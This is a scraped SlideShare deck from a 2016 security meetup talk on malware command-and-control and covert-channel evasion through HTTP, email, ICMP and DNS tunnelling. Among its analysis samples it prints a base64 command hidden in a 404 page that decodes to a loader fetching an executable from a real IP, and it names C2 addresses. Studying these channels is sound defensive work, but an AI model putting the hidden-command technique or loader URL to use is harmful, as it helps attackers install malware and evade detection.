SlideShare a Scribd company logo
1 of 52
Download to read offline
MALWARE COMMAND AND CONTROL:
EVASION TACTICS AND TECHNIQUES
Avkash Kathiriya
Information Security Learner
Dhawal Shah
Information Security Learner
AGENDA
• CKC (Cyber Kill Chain) Revision
• What is Command and control?
• What is Malware CnC?
• Why CnC?
• Channels of CnC
• Some Advance CnC
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 2
./Shell> Cyber Kill Chain revision
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 3
Our focus on this
session will be
Command and
Control 6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 4
What is Command
and Control??
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 5
C: Command and Control > CnC.txt
Command
Control
&
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 6
C: Command and Control > CnC.txt
Command
Control
Idea is to give command
to control your systems
and accomplish your aim
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 7
What is Malware CnC?
Compromised system
Command and control
server
Command
Command
Response
Response
Attacker
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 8
Why Malware CnC??
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 9
Why Malware CnC?
• Receive commands from operator
• Send feedback to operator
• Receive updates and modules from operator
• Evade security
• Intrusion detection
• Antivirus
• Incident response
• Forensics analysis
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 10
Evolution of
Malware CnC
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 11
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 12
Evolution of CNC Techniques
Mostly IRC based malwares Rapid evolution of CNC techniques
P2P DNS HTTP
Domain
Flux
Tunnelling
Why this Evolution??
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 13
Answer is to stay
undetected = Need
of covert
communication
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 14
Covert communication?
• Capability to transfer information between two hosts, which are not explicitly allowed to
communicate.
• a mechanism for sending and receiving information data between machines without
alerting any firewalls and IDSs on the network.
• You want to communicate with someone without being observed
• Cryptography/Encryption is not good enough
– You want to hide the fact you are communicating at all
– Best way is to hide the communication in innocuous-looking network traffic or data
– Firewall must let the traffic pass through
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 15
Covert communication?
DNS Requests
DNS Reply
Malicious DNS
Requests
Malicious DNS
Reply
It’s a method of
performing malicious
communication with the
legitimate and basic
channels which you can
not block at perimeter
level e.g. DNS in this case
Internal
Network
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 16
How Malware CnC
happens??
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 17
Before that lets first
understand basic
User communication
channels
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 18
Channels of “User” communication
Endpoint
Email Web
Network
User
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 19
What about
Malware
communication
channels??
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 20
Just replace User
with Malware!
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 21
Channels of “Malware” communication
Endpoint
Email Web
Network
Malware
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 22
Web
Web
Malware
HTTP / 80
HTTPS / 443
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 23
Web CnC?
• Direct connection to Internet on port 80
• Which will be blocked in most of the cases
• Identify Proxy being used and divert Web Cnc
to proxy
• Proxy needs authentication which malware anyway
can get it
• Reverse WWW shell
• Looks ordinary http request on firewall to servers
• Server sends back html resources interpreted as
shell command
• Eg. GoToMyPC
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 24
Advance Web CnC?
• Using HTTP GET and POST for communication
• HTTP Tunneling
• Downloading Information in favicon.ico
 Extract info using LSB Stagno
 Decrypt info using RC4
favicon.ico
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 25
Steganography based Covert Channel
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 26
Steganography based Covert Channel
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 27
Steganography based Covert Channel
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 28
Advance Web CnC?
• Youtube as a malware CnC
Attacker
Endpoint
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 29
Advance Web CnC?
• HTTP Error messages
HTTP/1.1 404 Not Found
Date: Mon, 9 Jul 2015 06:13:37 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.29
Vary: Accept-Encoding,User-Agent
Content-Length: 357
Connection: close
Content-Type: text/html; charset=utf8
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>404 Not
Found</TITLE></HEAD><BODY><H1>Not Found</H1>The requested URL /XXX/YYY.php was not
found on this server.<P><HR><ADDRESS></ADDRESS></BODY></HTML><!-- DEBUG:
MTQyODUyMTUyMzcyOTk5MyNsb2FkZXIgaHR0cDovLzExMS4xNzkuMzkuODMvZ29sZGVuMy5
leGUjMTQyOD
UxMjA2MTc1NDYzNSNyYXRlIDYwIwDEBUG-->
=============================================================================
Decoded Value:
1428521523729993#loader http://111.179.39.83/golden3.exe#1428512061754635#rate 60#
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 30
Hiding commands in HTTP messages
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 31
Email
EmailMalware
SMTP
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 32
Email CnC?
• It’s pretty simple just use SMTP channel for
sending and receiving commands from your
controller
Endpoint
Email
Attacker
Sending command
through SMTP
Receiving response
through SMTP
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 33
Evasion techniques seen in
this type of communication is
use of
Power shell
Network
NetworkMalware
Network Protocol
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 34
Network CnC?
Types of covert channel communication @ network layer
• Storage Channels
– Hide data within unused TCP/IP packet header fields
• TCP Flags field, TCP ISN, etc.
• Timing channels
– Modulate system resources in such a way that a receiver can
observe and decode it
– Port Knocking, varying packet rates, etc.
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 35
Network CnC?
• Protocol Tunneling:
– Protocol that carries data from another protocol.
– Example: SSH
– SSH allows to set up a secure connection between two
computers.
– Can use this connection for insecure protocols such as ftp.
• Tunnel through any TCP / IP traffic
– Insert data in unused or misused fields in the protocol header of
packets, such as:
– IP Identification.
– TCP sequence number.
– TCP acknowledgment number.
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 36
Network CnC?
• Hiding information on existing protocols such as HTTP,
DNS, and ICMP
• Pros/Cons with each protocol
– HTTP good for large data transfer, but more conspicuous
– DNS not great for data transfer, but good for C&C
– ICMP is good for C&C but is often blocked
• Author of The Rootkit Arsenal
proposes writing your own TCP/IP
stack using MS Windows NDIS
• BitTorrent Tracker protocol
tunneling
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 37
Network CnC?
 Example: LOKI
 Attacker install Loki server (a.k.a. LokiD) on victim.
 Attacker runs Loki client on his own machine.
 Loki tunnels attackers commands:
 Attacker writes shell commands.
 Loki client sends out several ICMP packets to victim that
contain part of the commands.
 Loki server receives ICMP packets and extracts attacker
command.
 Loki server executes them.
 Reversely, Loki server wraps responses in ICMP messages,
sends them to the Loki client, which displays them.
 Port scanners or netstat cannot detect Loki since ICMP does not
use ports.
 Only traces are the Loki server running as root and ICMP
messages going back and forth.
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 38
Network CnC?
• ICMP Covert Tunnels
• Mechanism
• Use of Ping request /response
• Tool: Ptunnel ((http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-
0.71.tar.gz))
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 39
ICMP Covert Tunnels
• Mechanism of ptunnel tool
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 40
ICMP Covert Tunnels
• Wireshark capture of ptunnel tool
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 41
DNS Covert Tunnels
Mechanism of DNS Covert Channel - Feederbot
Normal:
;QUESTION
newcommunitybank.com. IN A
;ANSWER
newcommunitybank.com. 86400 IN A 74.54.82.153
===========================================================================
Malicious:
;QUESTION
f16e180e9093c237ea31a4ab55ae7fac710a14e4972b30fdf4.google.com. IN ANY
;ANSWER
f16e180e9093c237ea31a4ab55ae7fac710a14e4972b30fdf4.google.com. 0 IN TXT
"aYpYOb/6L5NRMxDRbwQDrVfPJDw5yogih+zlfj+lQpRDPZE4n1DWB0M/l0J6YDp88Vgm"
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 42
DNS Covert Tunnels
Mechanism of DNS Covert Channel - Feederbot
• 50-char system-dependent bot ID:
f16e180e9093c237ea31a4ab55ae7fac710a14e4972b30fdf4
• RC4-encrypted bootstrap traffic
0000 8E 68 00 00 0B 00 00 00 17 00 00 00 39 34 2E 32 .h..........94.2
0010 33 2E 36 2E 36 37 00 69 6D 61 67 65 73 2E 6D 6F 3.6.67.images.mo
0020 76 69 65 64 79 65 61 72 2E 6E 65 74 2E 00 3C viedyear.net..<
• Contains a referral to the next C2 server node 94.23.6.67
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 43
DNS Covert Tunnels
• Tool: OzymanDNS
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 44
DNS Covert Tunnels
• WireShark Capture of OzymanDNS
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 45
DNS Covert Tunnels
• Packet Capture of OzymanDNS
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 46
Endpoint
Endpoint
Malware
USB
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 47
Endpoint CnC??
Endpoint CnC??
???
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 48
Endpoint CnC??
Endpoint USB
Not actual CnC, but methods of infection and communication was USB in this case.
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 49
Conclusion
• CnC is key for any malware to sustain it’s
footprint
• Techniques and tactics to evade the CnC channel
has evolved from time to time
• Idea is to hide in the mass and exploit the flows
in traditional communication channels
• Attackers stay connected with there target and
keep on nurturing the malwares planted
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 50
References
• Lockheed Martin Cyber Kill Chain
• SANS Institute – Covert channels
• Introduction to malicious code – Erland Jonsson
• Black hat EU15 – Hiding In Plain Sight
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 51
6/11/2016MALWARE CNC BY AVKASH K & DHAWAL SHAH 52
• Twitter : @avkashk
• Blog: www.avkashk.wordpress.com or LinkedIn Pulse (Avkash Kathiriya)
• Email : avkashk@null.co.in
• Twitter:@shahdhawal
• Email: shah.dhawal.s@gmail.com

More Related Content

What's hot

What's hot (20)

Death of Web App Firewall
Death of Web App FirewallDeath of Web App Firewall
Death of Web App Firewall
 
Death of WAF - GoSec '15
Death of WAF - GoSec '15Death of WAF - GoSec '15
Death of WAF - GoSec '15
 
Route Origin Validation - A MANRS Approach
Route Origin Validation - A MANRS ApproachRoute Origin Validation - A MANRS Approach
Route Origin Validation - A MANRS Approach
 
APRICOT 2015 - NetConf for Peering Automation
APRICOT 2015 - NetConf for Peering AutomationAPRICOT 2015 - NetConf for Peering Automation
APRICOT 2015 - NetConf for Peering Automation
 
Spoofing and Denial of Service: A risk to the decentralized Internet
Spoofing and Denial of Service: A risk to the decentralized InternetSpoofing and Denial of Service: A risk to the decentralized Internet
Spoofing and Denial of Service: A risk to the decentralized Internet
 
Multi-Layer DDoS Mitigation Strategies
Multi-Layer DDoS Mitigation StrategiesMulti-Layer DDoS Mitigation Strategies
Multi-Layer DDoS Mitigation Strategies
 
APNIC Hackathon CDN Ranking
APNIC Hackathon CDN Ranking APNIC Hackathon CDN Ranking
APNIC Hackathon CDN Ranking
 
BSidesROC 2016 - Nick Piazza - Fault Tolerant Command and Control Networks
BSidesROC 2016 - Nick Piazza - Fault Tolerant Command and Control NetworksBSidesROC 2016 - Nick Piazza - Fault Tolerant Command and Control Networks
BSidesROC 2016 - Nick Piazza - Fault Tolerant Command and Control Networks
 
Securing Asterisk: A practical approach
Securing Asterisk: A practical approachSecuring Asterisk: A practical approach
Securing Asterisk: A practical approach
 
OpenStack Havana over IPv6
OpenStack Havana over IPv6OpenStack Havana over IPv6
OpenStack Havana over IPv6
 
Having Honeypot for Better Network Security Analysis
Having Honeypot for Better Network Security AnalysisHaving Honeypot for Better Network Security Analysis
Having Honeypot for Better Network Security Analysis
 
APNIC Hackathon IPv4 & IPv6 security & threat comparisons
APNIC Hackathon IPv4 & IPv6 security & threat comparisonsAPNIC Hackathon IPv4 & IPv6 security & threat comparisons
APNIC Hackathon IPv4 & IPv6 security & threat comparisons
 
BSides: BGP Hijacking and Secure Internet Routing
BSides: BGP Hijacking and Secure Internet RoutingBSides: BGP Hijacking and Secure Internet Routing
BSides: BGP Hijacking and Secure Internet Routing
 
F5 tcpdump
F5 tcpdumpF5 tcpdump
F5 tcpdump
 
BGPalerter: BGP prefix monitoring
BGPalerter: BGP prefix monitoringBGPalerter: BGP prefix monitoring
BGPalerter: BGP prefix monitoring
 
Extensible Messaging and Presence Protocol (XMPP)
Extensible Messaging and Presence Protocol (XMPP)Extensible Messaging and Presence Protocol (XMPP)
Extensible Messaging and Presence Protocol (XMPP)
 
OpenStack Icehouse Over IPv6
OpenStack Icehouse Over IPv6OpenStack Icehouse Over IPv6
OpenStack Icehouse Over IPv6
 
Nginx, PHP, Apache and Spelix
Nginx, PHP, Apache and SpelixNginx, PHP, Apache and Spelix
Nginx, PHP, Apache and Spelix
 
NGINX: HTTP/2 Server Push and gRPC
NGINX: HTTP/2 Server Push and gRPCNGINX: HTTP/2 Server Push and gRPC
NGINX: HTTP/2 Server Push and gRPC
 
Actual Condition Survey of Malware Download Sites for A Long Period
Actual Condition Survey of Malware Download Sites for A Long PeriodActual Condition Survey of Malware Download Sites for A Long Period
Actual Condition Survey of Malware Download Sites for A Long Period
 

Viewers also liked

Using Massively Distributed Malware in APT-Style Attacks
Using Massively Distributed Malware in APT-Style AttacksUsing Massively Distributed Malware in APT-Style Attacks
Using Massively Distributed Malware in APT-Style Attacks
IBM Security
 
2600 av evasion_deuce
2600 av evasion_deuce2600 av evasion_deuce
2600 av evasion_deuce
Db Cooper
 
Scénarios d'exploitation Metasploit - FR : Scénario 3
Scénarios d'exploitation Metasploit - FR : Scénario 3Scénarios d'exploitation Metasploit - FR : Scénario 3
Scénarios d'exploitation Metasploit - FR : Scénario 3
Eric Romang
 

Viewers also liked (20)

Static analysis for security
Static analysis for securityStatic analysis for security
Static analysis for security
 
Introduction to burp suite
Introduction to burp suiteIntroduction to burp suite
Introduction to burp suite
 
OWASP Zed Attack Proxy
OWASP Zed Attack ProxyOWASP Zed Attack Proxy
OWASP Zed Attack Proxy
 
Webinar: Ransomware - Five Reasons You’re Not As Protected As You Think
Webinar: Ransomware - Five Reasons You’re Not As Protected As You ThinkWebinar: Ransomware - Five Reasons You’re Not As Protected As You Think
Webinar: Ransomware - Five Reasons You’re Not As Protected As You Think
 
Using Massively Distributed Malware in APT-Style Attacks
Using Massively Distributed Malware in APT-Style AttacksUsing Massively Distributed Malware in APT-Style Attacks
Using Massively Distributed Malware in APT-Style Attacks
 
Base64 Encoding
Base64 EncodingBase64 Encoding
Base64 Encoding
 
Scénarios d'exploitation Metasploit - FR : Scénario 1
Scénarios d'exploitation Metasploit - FR : Scénario 1Scénarios d'exploitation Metasploit - FR : Scénario 1
Scénarios d'exploitation Metasploit - FR : Scénario 1
 
Hack like a pro with burp suite - nullhyd
Hack like a pro with burp suite - nullhydHack like a pro with burp suite - nullhyd
Hack like a pro with burp suite - nullhyd
 
2600 av evasion_deuce
2600 av evasion_deuce2600 av evasion_deuce
2600 av evasion_deuce
 
The old is new, again. CVE-2011-2461 is back!
The old is new, again. CVE-2011-2461 is back!The old is new, again. CVE-2011-2461 is back!
The old is new, again. CVE-2011-2461 is back!
 
Pentesting Using Burp Suite
Pentesting Using Burp SuitePentesting Using Burp Suite
Pentesting Using Burp Suite
 
Attaque metasploite
Attaque metasploiteAttaque metasploite
Attaque metasploite
 
Scénarios d'exploitation Metasploit - FR : Scénario 3
Scénarios d'exploitation Metasploit - FR : Scénario 3Scénarios d'exploitation Metasploit - FR : Scénario 3
Scénarios d'exploitation Metasploit - FR : Scénario 3
 
Fuzzing | Null OWASP Mumbai | 2016 June
Fuzzing | Null OWASP Mumbai | 2016 JuneFuzzing | Null OWASP Mumbai | 2016 June
Fuzzing | Null OWASP Mumbai | 2016 June
 
Burp Suite Starter
Burp Suite StarterBurp Suite Starter
Burp Suite Starter
 
14 Jan17- Nullmeets -Blockchain concept decoded by Ninad Sarang
14 Jan17- Nullmeets -Blockchain concept decoded by Ninad Sarang14 Jan17- Nullmeets -Blockchain concept decoded by Ninad Sarang
14 Jan17- Nullmeets -Blockchain concept decoded by Ninad Sarang
 
Null Mumbai 14th May Lesser Known Webapp attacks by Ninad Sarang
Null Mumbai 14th May Lesser Known Webapp attacks by Ninad SarangNull Mumbai 14th May Lesser Known Webapp attacks by Ninad Sarang
Null Mumbai 14th May Lesser Known Webapp attacks by Ninad Sarang
 
An EyeWitness View into your Network
An EyeWitness View into your NetworkAn EyeWitness View into your Network
An EyeWitness View into your Network
 
Introduction to ethereum_public
Introduction to ethereum_publicIntroduction to ethereum_public
Introduction to ethereum_public
 
Pen Testing, Red Teaming, and More
Pen Testing, Red Teaming, and MorePen Testing, Red Teaming, and More
Pen Testing, Red Teaming, and More
 

Similar to Null 11 june_Malware CNC: Advance Evasion techniques_by Avkash k and dhawal shah

Accumulo Summit 2016: Cryptographically Enforcing Visibility Fields
Accumulo Summit 2016: Cryptographically Enforcing Visibility FieldsAccumulo Summit 2016: Cryptographically Enforcing Visibility Fields
Accumulo Summit 2016: Cryptographically Enforcing Visibility Fields
Accumulo Summit
 

Similar to Null 11 june_Malware CNC: Advance Evasion techniques_by Avkash k and dhawal shah (20)

HSB - Secure DNS en BGP ontwikkelingen - Benno Overeinder
HSB - Secure DNS en BGP ontwikkelingen - Benno OvereinderHSB - Secure DNS en BGP ontwikkelingen - Benno Overeinder
HSB - Secure DNS en BGP ontwikkelingen - Benno Overeinder
 
Accumulo Summit 2016: Cryptographically Enforcing Visibility Fields
Accumulo Summit 2016: Cryptographically Enforcing Visibility FieldsAccumulo Summit 2016: Cryptographically Enforcing Visibility Fields
Accumulo Summit 2016: Cryptographically Enforcing Visibility Fields
 
Integrating Unified Communications and Collaboration on an Aruba Access Network
Integrating Unified Communications and Collaboration on an Aruba Access NetworkIntegrating Unified Communications and Collaboration on an Aruba Access Network
Integrating Unified Communications and Collaboration on an Aruba Access Network
 
Smart networking with service meshes
Smart networking with service meshes  Smart networking with service meshes
Smart networking with service meshes
 
Design and Deployment of Enterprise WLANs
Design and Deployment of Enterprise WLANsDesign and Deployment of Enterprise WLANs
Design and Deployment of Enterprise WLANs
 
Moving your Oracle Databases to the Oracle Cloud
Moving your Oracle Databases to the Oracle CloudMoving your Oracle Databases to the Oracle Cloud
Moving your Oracle Databases to the Oracle Cloud
 
Don’t Get Stuck in The Encryption Stone Age: Get Decrypted Visibility with Am...
Don’t Get Stuck in The Encryption Stone Age: Get Decrypted Visibility with Am...Don’t Get Stuck in The Encryption Stone Age: Get Decrypted Visibility with Am...
Don’t Get Stuck in The Encryption Stone Age: Get Decrypted Visibility with Am...
 
CoAP Course for m2m and Internet of Things scenarios
CoAP Course for m2m and Internet of Things scenariosCoAP Course for m2m and Internet of Things scenarios
CoAP Course for m2m and Internet of Things scenarios
 
Cisco CSIRT Case Study: Forensic Investigations with NetFlow
Cisco CSIRT Case Study: Forensic Investigations with NetFlowCisco CSIRT Case Study: Forensic Investigations with NetFlow
Cisco CSIRT Case Study: Forensic Investigations with NetFlow
 
DDoS And Spoofing, a risk to the decentralized internet
DDoS And Spoofing, a risk to the decentralized internetDDoS And Spoofing, a risk to the decentralized internet
DDoS And Spoofing, a risk to the decentralized internet
 
Common Infrastructure Exploits in AWS/GCP/Azure Servers and Containers
Common Infrastructure Exploits in AWS/GCP/Azure Servers and ContainersCommon Infrastructure Exploits in AWS/GCP/Azure Servers and Containers
Common Infrastructure Exploits in AWS/GCP/Azure Servers and Containers
 
Open vSwitch Implementation Options
Open vSwitch Implementation Options Open vSwitch Implementation Options
Open vSwitch Implementation Options
 
Welcome to Kafka; We’re Glad You’re Here (Dave Klein, Centene) Kafka Summit 2020
Welcome to Kafka; We’re Glad You’re Here (Dave Klein, Centene) Kafka Summit 2020Welcome to Kafka; We’re Glad You’re Here (Dave Klein, Centene) Kafka Summit 2020
Welcome to Kafka; We’re Glad You’re Here (Dave Klein, Centene) Kafka Summit 2020
 
40th TWNIC Open Policy Meeting: A quick look at QUIC
40th TWNIC Open Policy Meeting: A quick look at QUIC40th TWNIC Open Policy Meeting: A quick look at QUIC
40th TWNIC Open Policy Meeting: A quick look at QUIC
 
Chicago AWS user group meetup - May 2014 at Cohesive
Chicago AWS user group meetup - May 2014 at CohesiveChicago AWS user group meetup - May 2014 at Cohesive
Chicago AWS user group meetup - May 2014 at Cohesive
 
Chicago AWS user group meetup - May 2014 at Cohesive
Chicago AWS user group meetup - May 2014 at CohesiveChicago AWS user group meetup - May 2014 at Cohesive
Chicago AWS user group meetup - May 2014 at Cohesive
 
Spark Streaming + Kafka 0.10: an integration story by Joan Viladrosa Riera at...
Spark Streaming + Kafka 0.10: an integration story by Joan Viladrosa Riera at...Spark Streaming + Kafka 0.10: an integration story by Joan Viladrosa Riera at...
Spark Streaming + Kafka 0.10: an integration story by Joan Viladrosa Riera at...
 
Apache Cassandra: building a production app on an eventually-consistent DB
Apache Cassandra: building a production app on an eventually-consistent DBApache Cassandra: building a production app on an eventually-consistent DB
Apache Cassandra: building a production app on an eventually-consistent DB
 
Mobile Experience Management and Network Services Health Check with Aruba Air...
Mobile Experience Management and Network Services Health Check with Aruba Air...Mobile Experience Management and Network Services Health Check with Aruba Air...
Mobile Experience Management and Network Services Health Check with Aruba Air...
 
AusNOG 2023: A quick look at QUIC
AusNOG 2023: A quick look at QUICAusNOG 2023: A quick look at QUIC
AusNOG 2023: A quick look at QUIC
 

More from nullowaspmumbai

More from nullowaspmumbai (20)

Xxe
XxeXxe
Xxe
 
ELK in Security Analytics
ELK in Security Analytics ELK in Security Analytics
ELK in Security Analytics
 
Switch security
Switch securitySwitch security
Switch security
 
Radio hacking - Part 1
Radio hacking - Part 1 Radio hacking - Part 1
Radio hacking - Part 1
 
How I got my First CVE
How I got my First CVE How I got my First CVE
How I got my First CVE
 
Power forensics
Power forensicsPower forensics
Power forensics
 
Infrastructure security & Incident Management
Infrastructure security & Incident Management Infrastructure security & Incident Management
Infrastructure security & Incident Management
 
Middleware hacking
Middleware hackingMiddleware hacking
Middleware hacking
 
Internet censorship circumvention techniques
Internet censorship circumvention techniquesInternet censorship circumvention techniques
Internet censorship circumvention techniques
 
How i got my first cve
How i got my first cveHow i got my first cve
How i got my first cve
 
Adversarial machine learning updated
Adversarial machine learning updatedAdversarial machine learning updated
Adversarial machine learning updated
 
Commix
Commix Commix
Commix
 
Adversarial machine learning
Adversarial machine learning Adversarial machine learning
Adversarial machine learning
 
Dll Hijacking
Dll Hijacking Dll Hijacking
Dll Hijacking
 
Abusing Target
Abusing Target Abusing Target
Abusing Target
 
NTFS Forensics
NTFS Forensics NTFS Forensics
NTFS Forensics
 
Drozer - An Android Application Security Tool
Drozer - An Android Application Security Tool Drozer - An Android Application Security Tool
Drozer - An Android Application Security Tool
 
Middleware hacking
Middleware hackingMiddleware hacking
Middleware hacking
 
Ganesh naik linux_kernel_internals
Ganesh naik linux_kernel_internalsGanesh naik linux_kernel_internals
Ganesh naik linux_kernel_internals
 
Buffer overflow null
Buffer overflow nullBuffer overflow null
Buffer overflow null
 

Recently uploaded

EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
Earley Information Science
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
vu2urc
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
giselly40
 

Recently uploaded (20)

2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdf
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 

Null 11 june_Malware CNC: Advance Evasion techniques_by Avkash k and dhawal shah

